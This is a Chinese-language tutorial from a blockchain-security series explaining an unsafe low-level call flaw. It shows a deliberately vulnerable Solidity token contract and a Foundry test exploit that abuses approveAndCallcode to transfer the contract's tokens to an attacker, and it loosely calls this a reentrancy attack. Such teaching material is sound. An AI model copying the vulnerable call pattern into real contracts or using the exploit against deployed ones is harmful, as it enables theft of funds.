区块链安全常见的攻击分析------不安全调用漏洞 Unsafe Call Vulnerability
- [区块链安全常见的攻击合约和简单复现,附带详细分析------不安全调用漏洞 (Unsafe Call Vulnerability)【6】](#区块链安全常见的攻击合约和简单复现,附带详细分析——不安全调用漏洞 (Unsafe Call Vulnerability)【6】)
-
- [1.1 漏洞合约](#1.1 漏洞合约)
- [1.2 漏洞分析](#1.2 漏洞分析)
- [1.3 攻击步骤分析](#1.3 攻击步骤分析)
- [1.4 攻击合约](#1.4 攻击合约)
区块链安全常见的攻击合约和简单复现,附带详细分析------不安全调用漏洞 (Unsafe Call Vulnerability)【6】
Name: 不安全调用漏洞 (Unsafe Call Vulnerability)
重点: 在 TokenWhale 合约的 approveAndCallcode
函数中,漏洞允许任意调用并传入任意数据。攻击者可以通过该函数利用 call(_extraData)
执行恶意代码,例如调用 transfer
函数将资金转移给攻击者,从而实现重入攻击并窃取资金。
1.1 漏洞合约
javascript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/*
名称: 不安全调用漏洞 (Unsafe Call Vulnerability)
描述:
在 TokenWhale 合约的 approveAndCallcode 函数中,该漏洞允许执行任意调用,并传入任意数据,从而导致潜在的安全风险和意外后果。该函数使用低级调用 (_spender.call(_extraData)),在没有对 _spender 地址的有效性或 _extraData 数据进行任何验证的情况下执行代码。
这可能导致意外行为、重入攻击或未授权的操作。
这个练习展示了在调用合约时,输入和返回值未被检查的低级调用漏洞。
如果调用数据可控,则很容易引发任意函数执行。
缓解措施:
应尽可能避免使用低级调用 "call"。
参考:
https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9
*/
import "forge-std/Test.sol";
contract TokenWhale {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;
function TokenWhaleDeploy(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000; // 1 mil
}
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
/* Approves and then calls the contract code*/
function approveAndCallcode(
address _spender,
uint256 _value,
bytes memory _extraData
) public {
allowance[msg.sender][_spender] = _value;
bool success;
// vulnerable call execute unsafe user code
(success, ) = _spender.call(_extraData);
console.log("success:", success);
}
}
1.2 漏洞分析
approveAndCallcode()函数中的call可以调用_spender地址的任意函数。
1.3 攻击步骤分析
- 调用
approveAndCallcode
函数,将_spender
参数设置为TokenWhaleContract
合约的地址。
- 将
_extraData
参数设置为transfer
函数的函数签名及其参数,触发低级调用call
,从而执行transfer
函数,实现重入攻击。
- 输出结果
1.4 攻击合约
javascript
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "./UnsafeCall.sol";
contract ContractTest is Test {
TokenWhale TokenWhaleContract;
address Koko;
address Aquarius;
function setUp() public {
TokenWhaleContract = new TokenWhale();
Koko = vm.addr(1);
Aquarius = vm.addr(2);
// vm.deal(address(Koko), 1 ether);
// vm.deal(address(Aquarius), 1 ether);
vm.prank(Koko);
TokenWhaleContract = new TokenWhale();
TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));
console.log(
"TokenWhale balance:",
TokenWhaleContract.balanceOf(address(TokenWhaleContract))
);
}
function testUnsafeCall() public {
vm.prank(Aquarius);
uint256 AquariusBalance;
uint256 TokenWhaleBalance;
AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));
console.log("Aquarius Balance:", AquariusBalance);
bytes memory _extraData = abi.encodeWithSignature(
"transfer(address,uint256)",
address(Aquarius),
700
);
TokenWhaleContract.approveAndCallcode(
address(TokenWhaleContract),
0,
_extraData
);
assertEq(TokenWhaleContract.balanceOf(address(Aquarius)), 700);
console.log("Attack success!!");
TokenWhaleBalance = TokenWhaleContract.balanceOf(
address(TokenWhaleContract)
);
console.log("TokenWhale Balance:", TokenWhaleBalance);
AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));
console.log("Aquarius Balance:", AquariusBalance);
}
}